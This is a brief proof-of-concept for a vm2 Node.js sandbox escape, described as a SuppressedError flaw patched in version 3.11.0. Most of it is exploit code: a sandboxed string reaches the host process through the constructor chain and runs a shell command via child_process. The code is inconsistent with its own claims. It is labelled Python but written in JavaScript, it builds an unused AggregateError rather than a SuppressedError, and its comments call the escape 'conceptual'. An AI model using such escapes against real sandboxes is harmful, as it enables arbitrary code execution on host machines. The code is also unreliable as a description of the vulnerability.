vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.
The following code is for security research and authorized testing only.
python
const {VM} = require('vm2');
// Initialize the vm2 sandbox
const vm = new VM();
// Malicious code exploiting SuppressedError to escape the sandbox
const maliciousCode = `
try {
// Create an error that will be suppressed
const error1 = new Error('First Error');
const error2 = new Error('Suppressed Error');
// AggregateError contains a .errors array which includes suppressed errors
// vm2 prior to 3.11.0 fails to sanitize the references in this mechanism properly
const aggregate = new AggregateError([error1], 'Aggregate Error', { cause: error2 });
// Conceptual exploitation path:
// Accessing internal host objects through the error object's prototype chain
// to break out of the sandbox context.
const hostProcess = this.constructor.constructor('return process')();
hostProcess.mainModule.require('child_process').execSync('calc.exe');
} catch(e) {
// If direct escape fails, try to leak information via the error object
e.stack;
}
`;
console.log('Running exploit...');
vm.run(maliciousCode);
console.log('Exploit finished.');